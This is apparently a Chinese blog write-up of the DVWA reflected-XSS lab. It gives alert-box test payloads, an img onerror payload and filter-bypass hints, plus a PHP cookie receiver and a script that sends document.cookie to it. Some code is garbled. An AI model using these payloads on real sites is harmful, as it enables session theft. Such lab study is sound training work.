dvwa,xss反射型low&&medium

xss,反射型,low&&medium

low

发现xss

本关无过滤

cpp 复制代码
<script>alert(/xss/)</script>
//或
<script>confirm(/xss/)</script>
//或
<script>prompt(/xss/)</script>

出现弹框则存在xss,其中alert()confirm()prompt()为弹框函数

本地搭建

在www目录下放置cookie.php内容如下

cpp 复制代码
<?php
 
$cookie=$_GET['cookie'];//将get请求参数存储到cookie变量中
 
file_put_contents('cookie.txt',$cookie);//把偷取的用户cookie写到cookie.txt文件中。
 
?>

js代码如下

cpp 复制代码
<script>document.location='http://127.0.0.1/cookie.php/?cookie='+document.cookie;</script>
 
//document.location将页面的内容指定到指定位置。

再在www目录下放置cookie.txt文件用于存放盗取的cookie

实操

目前txt文件什么也没有,我们执行js代码
没有报错解析成功,可以看到url地址栏中有用户的cookie此cookie已经储存进了攻击者的txt文件盗取成功

medium

关对

作为初学者的我第一次接触比较浅的绕过思路

Xss反射型

(一):判断是否存在xss

1:无过滤

使用弹窗函数编写js代码,成功弹框

输入其他标签:(未知领域)

输入<img src=x οnerrοr=alert(/xss/)>,成功弹窗

3:那尝试使用大小写混淆

4:或者双写绕过

<sc

5:还有很多方法自己探究吧相信在以后会掌握更多方法

(二):Js代码如下

(三):盗取cookie

本地www目录下搭建cookie.php

内容如下
<?php cookie=_GET'cookie';//将get请求参数存储到cookie变量中 file_put_contents('cookie.txt',$cookie);//把偷取的用户cookie写到cookie.txt文件中。 ?>

再创建cookie.txt文档用于存储盗取的cookie

high

尝试别的语言就可以执行

cpp 复制代码
<img src=1 onerror=alert(1)>
相关推荐
龙仔72528 分钟前
RustDesk 1.5.0 升级安装故障处理笔记
笔记
星恒随风1 小时前
Linux基础IO万字详解:从文件描述符fd到重定向、FILE缓冲机制及MiniShell升级
linux·运维·笔记·学习·状态模式
喜欢打篮球的普通人2 小时前
MiniMind 学习笔记(二十二):数学 Cookbook——把概率空间、期望、似然一次讲明白
人工智能·笔记·学习
乐橙开放平台2 小时前
通道国标 ID 贴反会串店:海康大华宇视摄像头怎么用 GB28181 统一接入?
网络·笔记·物联网·自动化·音视频·智能家居
ab1237684 小时前
Spring Integration 完整笔记 + 和 spring-integration-mqtt、Paho、EMQX 的关系
java·笔记·spring
ACP广源盛139246256734 小时前
Type-C 扩展坞方案选型笔记|国产 DP1.2 转 HDMI2.0 桥接芯片 GSV2201D@ACP 评估
开发语言·笔记·硬件架构·硬件工程·hdmi·国产芯片
旖旎夜光4 小时前
【LangGraph实战】LangGraph 学习笔记(四):持久化——从线程记忆到跨会话长期记忆
人工智能·笔记·python·学习·ai编程·langgraph
kdxiaojie4 小时前
MPU6050学习
笔记·学习·mpu6050
qq_2842740516 小时前
机械原理笔记:平面机构自由度计算(复合铰链、局部自由度、虚约束)与四杆机构入门(含考点)
笔记·学习·平面·自动化·制造
qq_2842740517 小时前
数控铣床与加工中心笔记:铣刀与刀柄系统、G54试切对刀、镜像加工指令、孔加工工艺(钻扩铰镗)与固定循环G73/G83/G81/G76/G87/G84
笔记·学习·自动化·制造